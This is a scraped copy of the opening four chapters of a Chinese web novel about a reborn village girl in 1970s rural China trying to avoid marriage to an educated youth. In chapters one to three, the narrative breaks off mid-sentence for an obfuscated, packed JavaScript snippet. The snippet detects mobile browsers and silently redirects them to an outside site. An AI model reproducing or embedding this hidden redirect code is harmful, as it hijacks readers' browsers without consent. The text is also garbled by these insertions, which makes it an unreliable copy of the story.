《年代文大佬的路人甲前妻》 1. 第 1 章 《年代文大佬的路人甲前妻》 可乐芒果/文 晋江文学城独家发表 2025.3.30 红星公社,六生产队。 正值中午,忙活了一上午的人们都吃完饭,大家都趁着离下午上工的时间休息一会,整个村子里沉睡着静悄悄的。 “扑通”一声。 在杨柳村后山水塘湖面不远的地方,一双狠毒的眼睛幽幽地盯着不远处的湖里。 平静的湖面开始发出咕咕咕的水泡声。 余银觉得自己开始无法呼吸,脚下空荡的触感让人心慌不安,生命收到威胁时下意识的挣扎,伸出双臂在湖面上抓住什么起来。 就在她的意识模糊的时候,一个下水的“扑通”声响起,在余银觉得自己快死的时候,一双健硬有力的手臂突然紧紧地禁锢着她的腰间,将她带着往湖面上游去。 因为感受到生命的消逝,内心的恐惧和恐慌让她下意识地紧紧抓住这根稻草。 男人似乎是被她抱的太紧,施展不开手脚,微哑的嗓音提醒着她,“先放松。” 余银迷迷糊糊之中听到这个声音,身体僵了一下,比起落水的恐慌,有些熟悉的嗓音让内心深处的恐惧席卷而来。 她松开了手臂,也将人往外推了一把,意识弥散,身体随之往下沉去。 游雾州没有意料到她的动作,看着她往下沉去,头往下弯去,抓住她的手臂,没有了她的禁锢,快速的将她救上了岸。 余银躺在那,面色苍白,脸颊旁的碎发湿的一缕一缕的,看起来有些像没了生气。 他晃了晃余银的头,见她没有丝毫反应,将手指放在她鼻尖的位置,感受到她微弱的呼吸。 游雾州松了一秒的心,立马又紧了,随即将手掌在她胸口试着按压几下,依旧没有反应。 人命要紧,他也管不了那么多了,手下的动作没停,抿了一下唇,弯着身子低头。 …… “小鱼儿,小鱼儿,你可别吓娘啊。” 余银放在被子里的指尖轻轻动了动,迷迷糊糊间好像看到了她老娘,颤着眼皮努力睁开眼,余阿娘一脸焦急的喊着她。 陡然陌生又熟悉气息的环境,让余银一时间有些怔愣住。她试着回想了一下,脑袋刺痛难忍,余银忍不住轻呼出声,从被子伸出手揉了揉额角。 坐在床边的余阿娘见她醒了,眼眸一片湿意,带着庆幸的口吻:“小鱼儿,你醒了?” “你吓死阿娘了,娘一把年纪了,经不住你这么折腾啊。” 余阿娘眼底闪着泪花,在她的手上轻轻拍着。 余银不知道这一幕是不是她临死前的幻想,眼眶红了又红,泪水止不住的顺着脸颊落下,“阿娘,我死了还能见到你,真好。” 余阿娘一听这话,眉角下沉,原本放在余韵手上的手掌,“啪”的一下在她白皙的手背上留下红色痕迹,“死丫头,说的什么胡话,你咒你老娘呢!” 余阿娘是断掌,加上常年下地干活,手上力气不轻,那一下打的余银直呼疼。 或许是疼痛才让她觉得这是真实的,余银猛地坐起身子,可惜刚呛了太多水的她身体还跟不上,身子还没起来就倒下了。 “死丫头,急吼吼的这是干啥,小心身体啊。”余阿娘将她扶着坐起来,没好气的说着,“你好端端的不睡觉,偷跑去那水塘边干啥啊。” “你真是要吓死你老娘了,你说你有个长短,你叫娘咋办啊。” “娘知道你喜欢游知青,他要是不答应娶你,娘叫你舅舅去告他,治他一个流!氓!罪!来。” 耳边是余阿娘的唠叨,屋里虽然是破破烂烂的摆设,这样的画面,她觉得十分熟悉,好像发生过一样…… 那些画面在脑海里不停浮现。 七六年初,红星公社杨柳六队新来了一批知青。其中有一位叫游雾州的男知青,听说是从首都来了,身型挺括,长得也十分好看,他满腹诗书文化,待人温和有礼,连下地干活都和村里的汉子不相上下。 这样一个能文能武有力气还长得好看的青年,自然成了十里八村未说亲事姑娘们的心上人。 想嫁给他的人自然也包括余银,她设计了游雾州救了投河的她,但意外她差点淹死,游雾州将湿漉漉的她救上来,摁压她的胸口,并且做了人工呼吸。 嘴对嘴这一幕,刚好被下午上工的村民瞧见了,虽说是为了救她,但毕竟在这个男女关系大防的年代里,好好的黄花闺女,湿着身子被男人搂着就算了,还被碰了胸口,亲了嘴巴。 清誉没了,就算游雾州再不想负责,也要娶了她。 后来没多久游雾州就能回城了,那时两人还存着婚姻关系,余银太喜欢他了,害怕他一进城就不要自己了,因着她舅舅是队长,她威胁了他不许离婚。 他一去就是一年,偶尔才会给她来个电话,每次都是短短几句就挂了,余银在村里流言下就想着偷偷去学校了看他。 她去的时候,正好碰见游雾州和一个女生有说有笑的,那样舒展放松的笑容她从未在他脸上见过,他对她吝啬的很。 余银生气极了,一腔怒火和嫉妒让她冲上前想要给他们一巴掌,游雾州直接拦下了她举起的手臂,那个女生被他护在身后,看着她的眼神是那样的厌恶。 她不想和他离婚,可她也知道留不住他,舅舅被举报坐了大牢,哥哥在部队也被牵连,舅母一病不起,阿娘在寻她的路上被车撞死。 那些在游雾州下乡时欺压过他的,侮辱过他的,无一不遭了报应。 在接二连三的事情面前,血淋淋地报复清晰摆在眼前,她承受不住,在当年故意设计他的水塘里跳了下去。 想要以此作为当年设计他的代价,想让他看在他们的份上,饶了她余家的那两个孩童。 余银抬眼,看着余阿娘佝偻却又挺直的腰杆。 她阿娘还一天好日子没有过过,她要强了一辈子,当初为了年幼的阿舅,嫁给了取不来媳妇的阿爹,在阿爹死后,还在坐月子的阿娘又被赶出了家门。 当初坐月子的阿娘带着没成年的阿舅,年幼的哥哥和尚在襁褓之中的她,现如今阿舅是大队长,哥哥在部队,谁人不说一句阿娘是个有福气的。 可现在为了她唉声叹气,后来也为了她就那样的离开了。 余银想到这来,心里就刺痛着,为了她,身边最亲近之人没有一个好下场,那些浑浑噩噩的日子她不想再过了,也不想再担惊受怕。 从她跳进那个水塘那刻起,她也还清了对游雾州的设计。 她这是也回到了错误的起点? 余银握紧余阿娘的手,对她说:“阿娘,我不想嫁给游知青。” 她话刚说完,余阿娘面色僵了一下,“小鱼儿,你不是做梦都想嫁给他吗?现在不是你不想嫁了,他亲你都被人看见了,你、你清白都没了,不嫁给他还能嫁给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376378|168363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁啊,我的儿啊。” 余银顿住,想到清白和亲人的性命,她看着余阿娘坚定地说,“娘,不就是没了清白,我一辈子不嫁人不就好了。” “说什么不嫁人?哪有不嫁人的闺女。”余阿娘脸色有些难看,“现在不是清白不清白,你身子都叫他看见了,摸了抱了也亲了,那么多人都瞧见你俩了。” 余银手撑着床起身,扬着头梗着脖子,“那就当他捡了个便宜,反正我不嫁。” 余阿娘气的在她额头上戳了几下,“你呀,你呀,你不嫁传出去叫你舅舅家孩子以后怎么办,被人戳着脊梁骨吗?” “你舅舅还是大队长,以后他在村里还怎么抬得起头。” 余银眨了眨眼,瞪着眼睛,“你说那么多,游知青娶不娶还是一回事,你别用那些个罪名和舅舅压他,你看他娶不娶。” 余阿娘也知道多少人惦记着游知青,还有对游知青做出过更甚过分的举动,她张了张嘴,倒是说不出一句来回她的话。 余银哼哼两声,“阿娘,目光长远些,游知青那样的人,女儿是不敢觊觎了。” 余阿娘狠狠地剜了她一眼,“现在说这些干啥用,事情都发生了。你俩不结婚还能咋办,你告诉我还能咋办。” “我、我反正不嫁。”余银晃了晃余阿娘的胳膊,“娘,人家游知青还不想娶呢,你着甚急,让他去想办法好了,他脑子那样好使,肯定能想到个两全其美的好办法,咱到时候应下就成了。” “我闺女生的这样好看,他游知青凭什么不想娶。”余阿娘脸色有些难看,“他不过一个下乡的知青,咱们根正苗红的还没有嫌弃他呢。” 余银觉得自己有些力气了,掀开被子,随口应着,“是,您闺女生的这样好,咱就不嫁给游知青呗,没了清白就没了清白,免得成就一双让人生厌的婚事。” 她扶着床下去,余阿娘见她起来也搀着她,游雾州一声不吭的站在院内,身后还跟着脸色难看的余阿舅,将刚才她们的话听得一清二楚。 余银抬头,直愣愣地对上他的视线。 不得不承认,游雾州确实生的很好,也难怪自己着迷成那样。 他从把自己救起来,连衣服还没来得及换,现下衣服还没干透,半湿半干的裤子包裹着他结实有力的长腿,腹部隐约可见的八块腹肌。精致清隽的五官,即使在乡下着每日晒着太阳依旧白皙的肌肤,一双狭长的黑眸如墨玉一般亮而深,藏着让人读不懂的情绪。 他与这破败的屋子十分格格不入,仿佛他就应该是存在矜贵的耀眼的地方,他不适合这里,也配不上他。 余银再次见到他,也明白了自己那是做的事有多蠢,那样青涩笨拙的情愫是有多么让人厌恶。 被她喜欢纠缠赖上,他是该报复的。 余银不恨他,只是心底那丝丝缕缕的涩意在无限放大,空咽了一下,别过眼去。 游雾州心底松了口气,剑眉却不自觉地拧了起来。 他从她们开始谈话救听到了,其实他挺怕乡下女人的纠缠,这些女人大胆的可怕,甚至有些想要在他面前宽衣解带,或不是不要他负责。他活了二十多年,因着家世和长相示好的女生太多了,以前身份在那摆着,还不至于太过分。 现在下乡了,他也要与她们虚与委蛇的相处。 但他救她确实情况紧急,束手无策下才出此下策,确实毁了她的清白,但好像她不在自己的清誉,也不想和他结婚…… 2. 第 2 章 余银抿着唇,张了张嘴,却又不知道该说些什么。 她其实有些怕游雾州,那些历历在目的画面,很担心自己刚才的话会惹恼了面前的男人,被他记恨上。 余银不动声色地缩了缩脖子,低着头看着地面。 游雾州注意到她的小动作。 这是害怕他? 黑眸里闪过一丝笑意,他倒是不知道自己何时这样吓人了。 游雾州浅浅弯起的唇角上扬了些,也浑然忘记了刚才那些话给他带来的不悦和一闪而过的刺痛。 余阿舅叼着烟干狠狠吸了一口,带着烟雾吐出心口的郁气,“天不早了,先吃饭吧,游知青今救了小鱼儿,也在这吃吧。” 听着这话,余阿娘笑了笑,“对对对,先吃饭,游知青也在这吃,我赶紧去做去。” 对游雾州,余阿娘是打心底欣赏。 反正闺女早晚要嫁人,这样好的女婿,她是一百个愿意的。 余阿娘朝厨房走去,转过头看着余阿舅,“他舅,过来帮我烧个火,你们赶紧去坐着吧。” 余阿舅知道他姐在想什么,摆摆手应着,对着他俩说道:“先去坐着吧,小鱼儿身子弱,游知青帮着扶一把。” 说完就也跟着去了厨房。 院内就剩下他们两个,她舅妈今天刚好带着孩子回娘家了。 游雾州视线落在余银身上,伸出自己的手臂,扯了扯唇,“余银同志,咱们先进屋吧。” 这男人不止脸长得好看,声音冷肃低沉,也好听极了。 他惯会做人了,脸上时常挂着笑,只有余银知道他根本就是个睚眦必报的凉薄冷漠之人。 “你走吧,我不用你负责,阿娘和阿舅那里我会去说的。”余银抿了抿唇,声音很轻,“我就是个村姑,你是首都来的,咱俩是过不到一块去的。” 游雾州一愣,随后眉宇微微挑起,似乎有些没反应回来她说的话。 余银扯了扯嘴角,“我知道你也看不上我,你也不会属于这里,早晚是要离开这。我不会纠缠你的,你现在可以走了。” 游雾州听她说完,几分冷淡意味。 “你认真的吗?” 余银嗯了一声,接着道:“你如果不信,我可以给你立个字据。” 游雾州思索了一下,像是说服自己,但更像是说服她。 他说道:“我们可以结婚,为了你的名声,我确实多了做了一些男女之间不该有的事,需要对你负责的……” “可那也是为了救我情急之下的,我不在意。”余银打断他的话,“你不必为了那些流言蜚语而委屈自己。” “那你呢?”游雾州声音冷了几分。 “啊?” 余银一脸怔然。 游雾州淡淡道:“那你阿舅和阿娘你也不在乎吗?” 余银顿住,“我可以离开这里,时间久了就没人再说了。” “你能去哪?”游雾州舌尖顶了顶腮,不耐烦地问她。 余银没说话,她确实去不了任何地方,现在不说有没有钱,她的户口在这,没有正经借口,去任何地方都要开介绍信,还不能久留。 “结婚吧。” 游雾州继续道:“结婚吧,这样的事,除了你还会有其他人,如果不结婚,就会一直发生,我不想哪次真的袖手旁观了,会让一条无辜的性命因为我而丢失。” 男人利落的说完,垂着眼睫,等她的回答。 良久,余银都没说话,她有些不明白,也不太理解。 可是她脑子太笨了,怎么也想不到游雾州为什么要和她结婚。 她害怕,害怕会重蹈覆辙,害怕失去阿娘。 “你考虑一下吧,反正现在事情已经到了必须结婚的地步,我也并不觉得委屈。” 说完这些话,游雾州走进了厨房里,去帮忙了。听着厨房里阿娘的声音,余韵也回过神,好好消化了一下游雾州说的话。 她好像避不开和他结婚的事情。 为什么偏偏是这个时候让她回来,如果再早些,她肯定不会去跳河。 越想越头痛,余银拍了拍脑袋,她实在想不到好的解决办法,可很害怕像上辈子一样重蹈覆辙。 “有些缘分是注定的,也躲不过去的,可以尝试着走下去,说不定会柳暗花明又一村。” 这句话是以前游雾州跟她说的。 她不知道“柳暗花明又一村”什么意思,游雾州跟她说是更好的事。 那现在她就看看能不能“柳暗花明又一村”吧,反正游雾州那么聪明,他的话肯定没错。 想到这,余银松了口气,弯了弯眉眼,朝厨房里喊着,“阿娘,我要吃鸡蛋羹。” “再加点香油,还有花生碎阿娘。” “游知青,让你见笑了啊。”余阿娘在厨房里对着游雾州不好意思的笑了笑,绷着脸佯装怒气的说:“这死丫头,一点都不亏她的嘴,不知道那鸡蛋金贵着吗,谁家都这么大姑娘了还吃鸡蛋羹。” 游雾州弯了弯唇角,附和着余阿娘的话:“她刚落水,身子弱,吃点鸡蛋补补正好。” 余阿娘听到这个,脸上顿时笑开花了,装作不经意地说:“这个小鱼儿,平时都让我惯坏了,嘴是一点亏不得。” 怕游雾州误会什么,补充道:“那鸡蛋金贵,都不舍得吃,这不还是想着给她补补。” 游雾州将手里洗过的菜递给余阿娘,依旧是那副挂着淡淡笑容的模样,“我知道,婶子您疼女儿。” 余阿娘一听这个,扬了扬脸,一脸自豪,“十里八村的你出去打听打听,谁不知道余春花多疼孩子,就是让我吃一点苦都没关系,但我的孩子就不行。” “我那爹死的早,叔婶们见我家没人也不管我们,我娘早产生下他舅就撒手了,那时我还是个姑娘家,就这样一把手给他带大了,你瞧他现在,大队长呢!” 余阿舅听到这话,思绪也有些飘回那些年,他阿姐拉扯他遭受的那些苦难,眼睛有些湿润,“姐不容易啊。” 余阿娘一听这话,摆摆手,脸上的表情有些意味深长,“啥不容易的,都过去了,咱要向前看,金哥儿小鱼儿娶妻嫁人你可待给俺把关好了啊。” 说着朝游雾州看去,不放过他脸上一丝的表情。 不等游雾州开口,余阿舅率先开口,撇了一眼他,“咱游知青那人品没得说,谁不说个这。” 边说边竖起个大拇指。 余阿娘也在一旁帮腔,“可不是嘛,谁要嫁给了游知青,真是没的话说,谁家丈母一听女婿是游知青,那都高兴的合不拢嘴啊。” 游雾州客气的笑了笑,给了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376379|168363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们一个定心丸,“没有叔婶说的那样好,我外公说过,男子汉大丈夫娶了妻,就要好好对她。” 余阿舅和余阿娘顿时松了口气。 “这话说得对啊,哈哈哈哈哈。”余阿娘铲子一扔,笑得合不拢嘴拍着大腿。 “铲子!铲子!”游雾州提醒着。 “哎,瞧我,高兴的昏过头了……” 不苟言笑的余阿舅,此时也笑了起来,“我也高兴,待会待喝两杯啊。” 厨房里断断续续传来他阿娘和阿舅的欢声笑语,余银有些诧异。 吃晚饭的时候,一碗鸡蛋羹,一盘大葱炒鸡蛋,一份白菜炒肉,再加一份小青菜和土豆丝。 余银撇了撇嘴,“娘,今咋做这么丰盛干嘛,我就吃个鸡蛋羹。” 余阿娘在她胳膊上轻来了一掌,“贵客来了胡说什么呢,今还要感谢游知青的救命之恩。” “没有游知青,恐怕我们都见不到小鱼儿,你就是我们余家的大恩人啊,这饭菜寒酸了点,你不要嫌弃。” 游雾州帮着将碗筷还摆好,听到这话抬起头,说得谦虚,“客气了婶子,这么丰盛的菜,我怎么会嫌弃呢。” “看看人家游知青多懂事。”余阿娘将余银往游雾州那一推,“游知青你快放着,哪能让你来干这活呢,小鱼儿你来弄,从小到大都没做过活,我看你到时候结婚了婆家说你怎么办。” 余银撅了撅嘴巴,不满的喊她:“娘!” 游雾州:“没事婶子,她身体正虚弱着,我来就行。” 说完游雾州就快速地摆好碗筷,让余阿娘和余阿舅赶紧坐下吃吧。 余阿娘抬手就在她胳膊上拧了一下,“死丫头,懒死你得了。” 余银痛的嘶了声,眼睛都红了,“娘,痛死了。” 余阿娘瞪了他一眼,余银还想说些什么的嘴巴赶紧闭了起来。 她本就憋着气,此时看向游雾州,见他像个没事人一样,那股气现下上不去也下不来,好不难受。 狠狠地瞪了他一眼,却刚好被他看到。 余银脸一红,随即又瞪了一眼,她生的很好,跟余阿娘长得不像,但却是尽挑着全家人的优点来。 巴掌大的鹅蛋脸,五官不说很精致,但合在一块就很出众,今年二十岁,正是水灵灵的年纪。 余阿娘能干,儿子又在部队里,每月都有津贴,心疼姑娘,从来没有下过地干过活,连洗衣服和做饭的活都甚少做,养的白嫩嫩的。 她一双大大的鹿眼水汪汪地,那一眼加上微红的耳尖和脸庞,倒像是娇嗔。 游雾州身子僵了一下,不知为何,她那一眼扫的他心有些痒痒的。 余阿娘没有注意到他俩的眼神的交汇,催促着游雾州赶紧坐下吃,她还有重要的事要确认呢。 眼见吃的差不多了,余阿娘也不扯那么多了,放下筷子,笑的就像商人尽力推销自己的产品一样。 “游知青啊,你看我家小鱼儿,虽说是没做过什么活,有些懒了,但这条格,这相貌,那真是没话说,不是我老婆子吹牛,就是比起你们首都的那姑娘,也叫什么油,什么牛。” 游雾州淡淡开口:“有过之而无不及。” “反正就是我这闺女跟你们首都的姑娘比起来,那也是一点不输的,游知青你觉得呢?” 3. 第 3 章 余阿娘的话刚落,视线也跟着落在游雾州身上。 农村没有电灯,大部分也都不舍得用煤油灯,晚饭都是赶着天黑前吃的。 游雾州朝余银看过去,昏暗的房间里,姑娘低着头露出那一小截修长的脖颈,白的有些晃眼。 唇角漾起浅浅的笑容,冷不防来一句:“考虑好了吗?” “什么考虑好了?”余阿娘歪着头看了一眼余阿舅,笑着道:“我们想问问游知青,你也老大不小了,还不知道什么能回城,现在又出了这档子事,你看你要不要考虑考虑我们小鱼儿。” 游雾州没说话,只是静静地看着余银。 余阿娘和余阿舅见他沉默,以为他要拒绝,但看着他盯着自家闺女看,突然想到了什么。 “小鱼儿今天呛着水了,脑子还迷糊着,说些胡言乱语的话,游知青可别往心里去。” 余阿娘一眼就看出来这游知青是应了这门婚事,她对自己啊闺女的相貌那是相当自信,知道小鱼儿下午的话叫人听见心里难念不快。 余阿娘拉过小鱼儿的胳膊,“小鱼儿,你不是整天嚷嚷着除了游知青谁也不嫁吗,下午你说那话是不是胡言乱语的。” 她话里带着警告,余银不敢再说些其他的,更何况游雾州也都提出来了,她觉得反正都要跟他走结婚这一遭,至少这次不是她非要闹着嫁的。 余银不想应下她说的非常想给他的话,将手里的碗筷往桌子上一放,“娘、舅,你们商量吧,我有点累了,先回屋去了。” 说完,就起身往她房间里走,颇有些被戳破小心思落荒而逃的感觉。 “真是没规矩,游知青见谅,这丫头,肯定是害羞了。”余阿娘看她走了,又转过头提正事。 他们商量着哪天有空就把婚事给办了,省的村里传些风言风语的,反正在他们农村结婚也没那么多的讲究,大家一块吃顿饭的事。 至于婚房的事,房子是肯定要起一间的,先把余银的屋子收拾一下,等后院那片空地的房子起好了,再搬过去。 游雾州听着这个余阿娘的想法倒也赞同,现在盖房子还需要找地审批,既然他们后院那空着,起间房子也不至于太麻烦。 况且就算到时候等他走了,那间房给了余家倒也没什么,余阿舅又是大队长,对他来说只有好没有坏。但想是这么想的,他自然不能直接说出来。 游雾州默了默,“这样吧婶子,我跟小鱼儿成家了,以后每个月向家里交伙食费,至于婚房,知道婶子舍不得小鱼儿,在哪选位置都是选,离得这样近我是不在意,就怕……” 他话留了一半,余阿娘自然也理解他的意思,猛地拍了下桌子,“游知青你放心住着,没有哪个敢嚼舌根嚼到老娘面前,老娘现在还跟他舅在一起住着,谁敢说个什么。” 游雾州一副为他们着想的模样,余阿娘很受用,笑了笑,试探的开口:“那亲家那边咱们……” 游雾州:“我家里人都不在身边,还要往婶子多操劳了,日子也都由咱们这边定。” “我也没结过婚,哪里有不妥婶子只管说我,至于需要什么,也劳烦婶子帮忙了。” 他说的实诚认真,余阿娘也不是咄咄逼人性格,更何况这多么好的女婿,不早点下手就被人抢了,摆摆手,“哎呀,都要成一家人了,哪里的话,这婶子就替你们操劳了。” 游雾州感激地点头,“那就多谢婶子了。” 余阿娘本想说趁着天还没黑透,让他早点走,但想到了什么,有些纠结的看着他,“那个,游知青啊。” 游雾州见状,直接道:“婶子有事只管说。” “你结婚之前就先住金哥儿的屋子吧,咱这事成了,村里其他人指不定有一学一,多少是有些不放心的。” 余阿娘说的认真,是生怕他这几天再让谁家姑娘赖上,这年头除了好姑娘被人抢,那好女婿更甚之。 游雾州顿时僵着,想到那些事,脸色也有些难看,但也是有些怕了,“合适吗?” “哪有什么合适不合适的,我这就去给你收拾屋子。”余阿娘说完将桌子上的碗筷拿着往厨房放着,步履匆匆地去收拾屋子。 等到一切都收拾好了,余阿娘在厨房洗碗,余阿舅自己卷的烟,看着他姐,“真要把小鱼儿嫁给他?” 余阿娘手下的动作一顿,“都到这个份上了,小鱼儿除了他还能说个什么好亲事。” 余阿舅摇摇头,叹了口气,“咱们农村人,没太多那些弯弯绕绕,小鱼儿跟着他,我这心放不下去啊。” 余阿娘的手下动作没停,“我知道,他不是个好拿捏的,但他愿意装作被咱们拿捏,那也没甚不好的,至少现在是双方都需要的局面。” “咱们小鱼儿生的好,嫁给他,两个人天天睡一起,正是血气方刚的大小伙子,时间久了,你觉得能没有一点心思,都说知人知面不知心,但这游知青虽然太聪明了,他若是真的不想同意,咱们没不能奈何他。” “说到底,他既然一开始就同意了这门婚事,后面也不会对小鱼儿太坏的,那小鱼儿也是个精的,两个人指不定谁捏着谁呢。” 余阿舅皱着眉沉思,“主要是那孩子心思太深沉了,你瞅瞅他来咱这,哪个说过他一句不好。” 余阿娘一脸无所谓,“都说落了毛的凤凰不如鸡,他还是个有成份的,咱这面朝黄土头朝天,朝上几代都是本分农民,实打实的清清白白没有成分问题,现在他需要着咱们呢。” 余阿舅被她一点,满面愁容也带了点笑意,竖起大拇指感叹道:“姐,还带是你,看的通透啊。村里人哪个能想到我能走到今天,多亏了我这个诸葛亮姐姐。” 余阿娘笑了笑,“其实我也想过,他要是对小鱼儿不好怎么办,但俩人感情咱们干涉不了,日子是他们过的,要是小鱼儿真的不幸福,我就去接她回来,你可不能不让你外甥女回来啊。” 余阿舅刚抽一口,听到这话忙咽下那口烟表态,“我是那样的人吗,她想住多久就住多久,谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376380|168363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不敢说个什么。” 说话速度也快,刚说完就被呛着,咳了几声。 余阿娘将洗好的碗筷放好,“行了,抽那么急着干甚,知道你不会,赶紧去给我女婿的东西拿回来,这几天咱俩轮流跟着他,可别让其他人赖上他。” “知道了。” 余银这边因着落水,躺在床上没多久就睡着了。 游雾州这边刚躺在床上,窗户就被敲了敲,他推开窗户,看到是余阿舅,他早年当过兵,后来腿受伤了来回到了杨柳村当了队长,他那时上的战场那是真砂锅人的,此时天已经黑了下来,那双眼睛直透人心,加上身上那肃杀气息,多少有些瘆人。 游雾州从小就在部队长大,身边这样的人很多,对余阿舅这样的人也是觉得很熟悉,态度温和的问道:“叔,还有什么事吗?” 余阿舅:“知道你们爱干净,我去给你拿洗漱的东西,还有别的要带的吗?” 游雾州没想到他们这么贴心,笑了笑,“没有了,我也没什么东西,其他的白天再拿过来。” “明天我跟你一块。”余阿舅点点头,又叮嘱道:“你这几天都先跟着我,也不用去上工,别一个人落单。” 游雾州知道他们担心什么,有些尴尬的应着,“知道了,谢谢叔。” “都快一家人了,还说甚谢不谢的。”余阿舅将他窗户关好,“早点睡吧,我过去了。” 游雾州躺在床上却怎么也睡不着,翻来覆去的,没多久余阿舅就把他洗漱的东西拿回来了。 余金的床挺大了,余阿娘害怕他睡得不好,拿的都是干净的没有一点异味,还特意在下面铺了一层厚厚的褥子,躺在上难得的放松。 这里的条件比知青点好很多,余家阿舅早些年当过兵后面又做了大队长,余金也去当兵在部队里,就连他们家的房子也比村里其他人的要好。 他从下乡到现在也有快半年了,这样的日子也不知道什么时候到头,那些骚扰已经严重打扰他的生活,外公也被看管着,他们之间很少有联系,但如果他外公在的话,其实他不会选择结婚,毕竟如果结婚了对回城肯定是不行的。 但他也不知道该怎么做,他没经历过这些,身边也没有人告诉他该如何去做,这一步险棋,他想的是绝处逢生,至于是否能绝处逢生,他自己也不知道。 至少现在余家上下的态度,让他觉得这一步,似乎走对了。 余银也没有闹的太难看非要嫁给他,反而对他像是生怕沾染上他,还害怕他。 他待人温和有礼,做人坦荡,思想正派,是个三观正直的好青年,从未与人红过脸,即使对方的问题,他也会留有余地。 为什么余银不愿意嫁给他呢,游雾州其实内心有种说不清的滋味,那滋味就像是本该属于你的东西,却突然不愿意靠近你了。 他自诩将情绪把控的很好,可对上余银,他骨子里那些阴暗的情绪似乎正在悄然滋生。 似乎也正在缓缓脱离他的掌控。 4. 第 4 章 婚事差不多就这样定下来了,余阿娘怕节外生枝,日子就定在了农忙前半个月,到时候房子也起好了,索性农村办婚事也没什么要准备的。 这时候穷,布料也都是那几个颜色,连个好看的颜色在村里都没见过,结婚新娘子做一套红色的衣服更是少见。 主要东西就是洗脸盆,毛巾,水缸,和几床被子,都已经算是很有面子了。 至于三转一响,在市里还成,在农村那是想都不敢想的。 东西十来天也足够她们来准备了,结婚也没有其他的规矩,连结婚证都不用领,甚至村里人都没听过有结婚证。 余银是知道的,因为上辈子那个人告诉她,她和游雾州虽然在农村结了婚,但是没有办结婚证,甚至他们上辈子连公社的章都没盖。 严格来说不算是法律上的夫妻。 所以这辈子,余银也才会答应结婚,至于结婚证也不需要办,他到时候想走就可以直接走。 大大小小的事情都是余阿娘一手包揽的,余银倒是乐得自在。 反而游雾州去和余阿舅去搬东西的时候发生了一件事。 到门口的时候,那些知青们本想问问他,但看到他身边跟着的余阿舅,也都闭上了嘴巴。 昨晚余阿舅来知青点给他拿洗漱的东西,大家都很震惊。 此时正等着他答疑解惑,也是真的生怕他被赖上了。 游雾州让余阿舅先去堂屋里去做会,他东西不多,收拾着也很快。 余阿舅也知道他们有话说,点了下头就在院子里坐着。 见余阿舅没跟着进来,知青们纷纷凑上来问:“真要你娶她?这事再怎么说你也是为了救那丫头,他就是大队长也不能这么不讲理吧。” “他们心太黑了吧,就这样赖上你,你也心甘情愿?” “他们昨晚过来拿东西,是不是你昨晚在那家住下了,真要结婚了?” 游雾州嗯了一声,将对余银的那套说辞拿出来,“这次是意外,这样的事如果我不结婚,还会继续发生,若是我哪天真的袖手旁观了怎么办?” 有一个知青有些激烈的说道:“能怎么办,那又不是你的错,她们自己不珍惜自己的生命,跟你有什么干系。” 那知青前段时间生病了,游雾州帮了他不少忙,他实在见不得游雾州这样的人因为救人被赖上,跟一个村姑结婚。 游雾州拍了拍他肩膀,“可我不可能对一条生命视若无睹。”顿了顿又道:“我也到了该结婚的年纪,现在这样挺好,至少没那么多麻烦了。” 是啊,村支书马上到年龄了,今年余阿舅就可能是村支书了,原本当初他就应该是村支书的位置,他说自己年龄还小,等村支书退休了再说。 今年也不多了。 余阿舅那是余阿娘带大的,可以说没有余阿娘,他根本活不下来,那既是他姐也是他娘。 游雾州跟他们结了亲,可以说只有好处,没有坏处。 甚至有什么好的工作,或者回城机会,肯定都是考虑自家人了。 那知青当然知道这点,“那你们如果结婚了就会有孩子,回城的话……。” “如果真有回城那天的话,那努力就带着她和孩子一起去。” 游雾州无所谓的说,“我家里的情况谁知道什么时候能查清楚,我早晚都还是要下放到农村的。” “那也不成啊,她可是小学毕业的,你们之间连共同话题也没有。” 游雾州想到其实余银还不想跟他结婚,但他没说,知道他们是为了他着想,但听到有人贬低余银,心里难免会不舒服。 声音也冷了几分,“我现在也是村里人,跟她自然会有话题,共同话题不是靠谁上了多久学决定的,而是全靠个人想不想有。” 那知青讪讪的笑了下,“我不是那个意思,我只是担心你……” 话没说完,那知青又叹了口气。 游雾州见他们都是一副觉得委屈了他的神情,不由得想笑,人家余银长得很好看,除了是村里人,别的没有任何问题。 再说了,他现在也是村里人,知青下乡后,户口也会跟着移过来。 但他也没说那么多,将东西快速的收拾好,“路是我自己选的,日子也是我过的,好不好我能不知道吗,大家不用替我操心了。” 正好余阿舅也看着时间差不多,往他们这走过来,那知青也没甚可说,顿了顿,“既然你都想清楚了,那我们尊重你的决定,祝你越来越好。。” 游雾州勾起一个真诚的笑容,“好,我肯定会越来越好的。” 